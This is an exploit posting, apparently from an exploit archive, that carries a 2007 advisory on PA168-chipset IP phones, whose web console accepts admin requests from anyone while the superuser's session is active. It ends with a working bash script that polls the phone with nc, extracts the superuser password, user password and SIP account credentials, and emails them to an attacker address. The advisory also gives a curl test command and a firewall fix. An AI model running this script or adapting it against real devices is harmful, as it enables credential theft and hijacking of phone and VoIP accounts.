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PA168 Chipset IP Phones Weak Session Management Exploit
======================================================= PA168 Chipset IP Phones Weak Session Management Exploit ======================================================= #!/bin/bash # PR06-14: IP Phones based on Centrality Communications/Aredfox PA168 chipset weak session management vulnerability # Author: Adrian Pastor [adrian.pastor-AT-procheckup.com] from ProCheckUp # This advisory has been published following consultation with UK NISCC [http://www.niscc.gov.uk/] # Date Found: 3rd November 2006 # Date Public: 22nd January 2007 # Vulnerable: # Phones confirmed to be vulnerable: # - ATCOM AT-320ED IP Phone running SIP firmware version V1.42 and 1.54 # - SOYO G668 Ethernet IP Phone running SIP firmware version v1.42 # The following vendors/models also use the same PA168 chipset/firmware # and are therefore most likely to be vulnerable to the same issue: # - AriaVoice # - AT-323 from ATcom # - JR168_100B from IPLink # - JR168_100W from IPLink # - JR168_200 from IPLink # - Netweb-401/402 from NetWebGroup # - OB-WAN VoIP: Ethernet#1 and Ethernet#2 phones are PA168-based # - Vida some phones PA168 based # - Wuchuan HOP-1001/1002/1003 # - Giptel IP phones G100, also Siptronic ST-100 and Siptronic ST-150 (PA168S chipset) # - GNET some phones PA168x based # - KE1020 Netphone (Meritline) # - ML210 Meritline # - Integrated Networks IN-1002. Found on eBay. # - ArtDio IPF-2000 and IPF-2002L phones # - Perfectone IP300 # Severity: Medium # CVE Candidate: Not assigned # Overview: # There is a problem with the way IP Phones using the PA168 chipset handle # authenticated sessions, allowing remote attackers to gain access to the # admin web console running as superuser. # Description: # When the superuser account authenticates to the admin web console, a # request such as the following is sent to the IP phone's web server: # POST /a HTTP/1.1 # Referer: http://192.168.1.100/ # Host: 192.168.1.100 # Content-Length: 31 # auth=12345678&login=+++Login+++ # At this point, the superuser session is considered *active* by the web # server. All it takes for attackers to perform an administrative task at # this point, is for them to send a well-formed request to the web server. # Since no authentication tokens or password are submitted within the HTTP # requests, anyone can perform administrative tasks while the session is # active. Even if the attacker sends the administrative requests from an # IP address different to the one used by the superuser account, the IP # Phone's web server would accept them as long as the superuser's session # is still active. # A script called "active-session-attack.sh" has been created, which # remotely checks repeatedly until a superuser account has logged on by # sending a forged superuser request every five seconds. As soon as the # superuser session becomes active, the following information will be # obtained from the settings page, and emailed to the attacker: # - IP phone's superuser password - grants administrative access # - IP phone's user password - grants restricted access # - SIP gateway hostname/IP address # - SIP account username # - SIP account PIN number # REQUEST: # POST /g HTTP/1.1 # Host: 192.168.1.100 # Content-Length: 13 # back=++Back++ # RESPONSE (output has been partially omitted for clarification): # HTTP/1.1 200 OK # Content-Length: 16727 # Content-Type: text/html # Connection: close # <TITLE>IP Phone V1.54</TITLE> # [output omitted] # <INPUT name=sipproxy value="sip.test.com"> # <INPUT name=domain value="sip.test.com"> # <INPUT name=account value="myaccount" size=24 maxlength=32> # <INPUT name=pin type=password value="1234"> # <INPUT name=superpassword type=password value="12345678"> # <INPUT name=password type=password value="1234"> # [output omitted] # In order to test this vulnerability, the following steps have been provided: # 1. Log into http://192.168.1.100 from computer A using the superuser # password ('12345678' by default) # 2. Send the following curl command from computer B: # curl -d "back=++Back++" http://192.168.1.100/g # 3. The administrative settings page should be returned without any # password required. # Note: the IP phone's web server is enabled by default # Fix: # Use access control lists on routers or firewalls in order to only allow # trusted IP addresses to access ATCOM AT-320ED IP Phone's web server. # Exposing the PA168-based IP Phone's admin web server on the Internet is # not recommended. # References: # http://www.voip-info.org/wiki/view/PA168 # http://www.centralitycomm.com/ # http://www.aredfox.com/eindex.htm # http://www.atcom.cn/En_products_At320ED.html # http://www.soyogroup.com/products/proddesc.php?id=307 # http://www.procheckup.com/Vulner_2007.php host="192.168.1.100"; attackers_email="adrian.pastor-AT-procheckup.com" req="POST /g HTTP/1.0\r\nContent-length: 13\r\n\r\nback=++Back++\r\n\r\n"; while true do res=`echo -en $req | nc -nv $host 80`; if echo $res | grep superpassword # if this gets returned, then we got the settings page with all SIP account and IP phone creds then echo "GOT IT!" echo $res > "admin-settings-page" echo $res | mail $attackers_email -s "PA168 IP Phone admin's settings page" exit 1 else echo "bad luck" fi sleep 5 done # 0day.today [2024-11-15] #